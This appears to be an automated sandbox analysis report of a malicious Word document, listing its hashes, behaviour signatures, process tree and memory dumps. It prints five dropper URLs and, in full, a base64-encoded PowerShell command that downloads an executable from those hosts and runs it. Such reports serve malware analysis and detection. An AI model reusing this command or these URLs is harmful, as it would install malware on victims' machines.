Analysis

  • max time kernel
    102s
  • max time network
    96s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 20:33

General

  • Target

    990801c1de058647b506c19565ee7abf0c886af33defe87c185c91aa65f9b579.doc

  • Size

    160KB

  • MD5

    f2c5e55cf077e24a0c347506ea8d7b8e

  • SHA1

    fc39267af130c5327009476f2a71d97ef48a94b8

  • SHA256

    990801c1de058647b506c19565ee7abf0c886af33defe87c185c91aa65f9b579

  • SHA512

    3652fee413c7f2ee7cd0345eae726b2c1319e1b8a3f4af41b7639917ebf4f061daccaa0ae357050ca2c07c932b9f600b15160c5f4db9a24d0e8ef6837b992609

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://pressuredspeech.com/dngn/cEmgNTByQ/

exe.dropper

https://phoneringtones.info/wp-content/uploads/qx93_k68trw3j-15334/

exe.dropper

http://safeservicesfze.com/wp-admin/ZmVYmAXv/

exe.dropper

https://freewallpaperdesktop.com/wp-includes/50lz_zkln03lbc-8209361/

exe.dropper

http://noingoaithatthanhnam.com/wp-admin/voytvHre/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\990801c1de058647b506c19565ee7abf0c886af33defe87c185c91aa65f9b579.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
      powErSHell -e JABRADYAMgA1ADYANwAxADEAPQAnAFcAMQA3ADYANQAwAF8AJwA7ACQAcwA3ADUAXwA3ADkAIAA9ACAAJwA5ADUAOQAnADsAJAB3ADEAOQAyADYAOAAwAD0AJwBkADIANAAyADMAMwAnADsAJABuADgAMQBfADUANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcwA3ADUAXwA3ADkAKwAnAC4AZQB4AGUAJwA7ACQAbgA3ADIAOABfADIAPQAnAGkAOAA0ADMANwBfACcAOwAkAFAAMgAzADEAOQAzAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAFcAYABFAGIAYwBgAEwAYABpAEUAYABOAHQAOwAkAEsAOAAzAF8AOAA3AD0AJwBoAHQAdABwADoALwAvAHAAcgBlAHMAcwB1AHIAZQBkAHMAcABlAGUAYwBoAC4AYwBvAG0ALwBkAG4AZwBuAC8AYwBFAG0AZwBOAFQAQgB5AFEALwBAAGgAdAB0AHAAcwA6AC8ALwBwAGgAbwBuAGUAcgBpAG4AZwB0AG8AbgBlAHMALgBpAG4AZgBvAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAHgAOQAzAF8AawA2ADgAdAByAHcAMwBqAC0AMQA1ADMAMwA0AC8AQABoAHQAdABwADoALwAvAHMAYQBmAGUAcwBlAHIAdgBpAGMAZQBzAGYAegBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAG0AVgBZAG0AQQBYAHYALwBAAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAHcAYQBsAGwAcABhAHAAZQByAGQAZQBzAGsAdABvAHAALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADUAMABsAHoAXwB6AGsAbABuADAAMwBsAGIAYwAtADgAMgAwADkAMwA2ADEALwBAAGgAdAB0AHAAOgAvAC8AbgBvAGkAbgBnAG8AYQBpAHQAaABhAHQAdABoAGEAbgBoAG4AYQBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB2AG8AeQB0AHYASAByAGUALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAdwA5ADMAOAAxAF8AOQA5AD0AJwBPADMAMQBfADQAMwAwADgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAMgA3ADAANwBfADQAIABpAG4AIAAkAEsAOAAzAF8AOAA3ACkAewB0AHIAeQB7ACQAUAAyADMAMQA5ADMALgBkAG8AVwBuAGwAbwBhAEQARgBpAGwARQAoACQAbAAyADcAMAA3AF8ANAAsACAAJABuADgAMQBfADUANwApADsAJAB3ADAAXwBfADkAXwBfAD0AJwB1ADYANwA2ADcAMgA2ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAKQAuAEwARQBuAGcAdABIACAALQBnAGUAIAAyADAANgA5ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAOwAkAHIAOQA1ADgAXwAwAD0AJwBoADUAMQA0ADAAOQAnADsAYgByAGUAYQBrADsAJABJADkANABfADEAMQAwADMAPQAnAGkAOQA2ADkAMAAzADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAZgA3ADIAMQAxADAAMAA9ACcAWgA3ADcAMAAzADAAXwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1720

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1284-59-0x0000000000000000-mapping.dmp

    • memory/1284-60-0x000007FEFC0D1000-0x000007FEFC0D3000-memory.dmp

      Filesize

      8KB

    • memory/1632-65-0x00000000001C7000-0x00000000001E8000-memory.dmp

      Filesize

      132KB

    • memory/1632-78-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1632-58-0x0000000076871000-0x0000000076873000-memory.dmp

      Filesize

      8KB

    • memory/1632-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1632-55-0x0000000070641000-0x0000000070643000-memory.dmp

      Filesize

      8KB

    • memory/1632-61-0x00000000001C7000-0x00000000001E8000-memory.dmp

      Filesize

      132KB

    • memory/1632-62-0x00000000001C7000-0x00000000001E8000-memory.dmp

      Filesize

      132KB

    • memory/1632-63-0x00000000001C7000-0x00000000001E8000-memory.dmp

      Filesize

      132KB

    • memory/1632-54-0x0000000072BC1000-0x0000000072BC4000-memory.dmp

      Filesize

      12KB

    • memory/1632-66-0x00000000001C7000-0x00000000001E8000-memory.dmp

      Filesize

      132KB

    • memory/1632-67-0x00000000001C7000-0x00000000001E8000-memory.dmp

      Filesize

      132KB

    • memory/1632-57-0x000000007162D000-0x0000000071638000-memory.dmp

      Filesize

      44KB

    • memory/1632-79-0x000000007162D000-0x0000000071638000-memory.dmp

      Filesize

      44KB

    • memory/1720-70-0x000007FEF4600000-0x000007FEF5023000-memory.dmp

      Filesize

      10.1MB

    • memory/1720-73-0x000000000272B000-0x000000000274A000-memory.dmp

      Filesize

      124KB

    • memory/1720-74-0x0000000002724000-0x0000000002727000-memory.dmp

      Filesize

      12KB

    • memory/1720-75-0x000000000272B000-0x000000000274A000-memory.dmp

      Filesize

      124KB

    • memory/1720-76-0x0000000002724000-0x0000000002727000-memory.dmp

      Filesize

      12KB

    • memory/1720-77-0x000000000272B000-0x000000000274A000-memory.dmp

      Filesize

      124KB

    • memory/1720-72-0x0000000002724000-0x0000000002727000-memory.dmp

      Filesize

      12KB

    • memory/1720-71-0x000007FEF3990000-0x000007FEF44ED000-memory.dmp

      Filesize

      11.4MB